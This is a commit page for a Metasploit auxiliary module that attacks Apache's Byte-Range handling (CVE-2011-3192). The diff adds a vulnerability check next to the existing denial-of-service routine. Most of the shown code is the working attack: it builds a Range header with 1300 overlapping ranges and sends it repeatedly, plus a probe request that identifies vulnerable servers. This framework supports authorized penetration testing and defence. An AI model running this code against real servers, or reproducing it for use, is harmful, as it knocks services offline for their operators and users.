Skip to content

Commit a09b3b8

Browse files
committed
Lands rapid7#1169 - Adds a check
[Closes rapid7#1169] Conflicts: modules/auxiliary/dos/http/apache_range_dos.rb
2 parents dfff20a + 882b084 commit a09b3b8

File tree

1 file changed

+67
-14
lines changed

1 file changed

+67
-14
lines changed

modules/auxiliary/dos/http/apache_range_dos.rb

Lines changed: 67 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,10 @@
99

1010
class Metasploit3 < Msf::Auxiliary
1111

12-
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::WmapScanFile
14+
include Msf::Auxiliary::Scanner
15+
include Msf::Auxiliary::Report
1316
include Msf::Auxiliary::Dos
1417

1518
def initialize(info = {})
@@ -24,45 +27,95 @@ def initialize(info = {})
2427
'Author' =>
2528
[
2629
'Kingcope', #original discoverer
27-
'Masashi Fujiwara' #metasploit module
30+
'Masashi Fujiwara', #metasploit module
31+
'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
2832
],
2933
'License' => MSF_LICENSE,
34+
'Actions' =>
35+
[
36+
['DOS'],
37+
['CHECK']
38+
],
39+
'DefaultAction' => 'DOS',
3040
'References' =>
3141
[
3242
[ 'BID', '49303'],
3343
[ 'CVE', '2011-3192'],
3444
[ 'EDB', '17696'],
3545
[ 'OSVDB', '74721' ],
3646
],
37-
'DisclosureDate' => 'Aug 19 2011'))
47+
'DisclosureDate' => 'Aug 19 2011'
48+
))
3849

3950
register_options(
4051
[
4152
Opt::RPORT(80),
4253
OptString.new('URI', [ true, "The request URI", '/']),
43-
OptInt.new('RLIMIT', [ true, "Number of requests to send", 50])
54+
OptInt.new('RLIMIT', [ true, "Number of requests to send",50])
4455
], self.class)
4556
end
4657

47-
def run
58+
def run_host(ip)
59+
60+
case action.name
61+
when 'DOS'
62+
conduct_dos()
63+
64+
when 'CHECK'
65+
check_for_dos()
66+
end
67+
68+
end
69+
70+
def check_for_dos()
71+
path = datastore['URI']
72+
begin
73+
res = send_request_cgi({
74+
'uri' => path,
75+
'method' => 'HEAD',
76+
'headers' => {
77+
"HOST" => "Localhost",
78+
"Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
79+
}
80+
})
81+
82+
if (res and res.code == 206)
83+
print_status("Response was #{res.code}")
84+
print_status("Found Byte-Range Header DOS at #{path}")
85+
86+
report_note(
87+
:host => rhost,
88+
:port => rport,
89+
:data => "Apache Byte-Range DOS at #{path}"
90+
)
91+
92+
else
93+
print_status("#{rhost} doesn't seem to be vulnerable at #{path}")
94+
end
95+
96+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
97+
rescue ::Timeout::Error, ::Errno::EPIPE
98+
end
99+
end
100+
101+
102+
def conduct_dos()
48103
uri = datastore['URI']
104+
rhost = datastore['RHOST']
49105
ranges = ''
50106
for i in (0..1299) do
51107
ranges += ",5-" + i.to_s
52108
end
53109
for x in 1..datastore['RLIMIT']
54110
begin
55-
connect
56111
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
112+
res = send_request_cgi({
113+
'uri' => uri,
114+
'method' => 'HEAD',
115+
'headers' => {
116+
"HOST" => rhost,
117+
"Range" => "bytes=0-#{ranges}"}},1)
57118

58-
sploit = "HEAD " + uri + " HTTP/1.1\r\n"
59-
sploit << "Host: " + rhost + "\r\n"
60-
sploit << "Range: bytes=0-" + ranges + "\r\n"
61-
sploit << "Accept-Encoding: gzip\r\n"
62-
sploit << "Connection: close\r\n\r\n"
63-
64-
sock.put(sploit)
65-
disconnect
66119
rescue ::Rex::ConnectionRefused
67120
print_status("Unable to connect to #{rhost}:#{rport}.")
68121
rescue ::Errno::ECONNRESET

0 commit comments

Comments
 (0)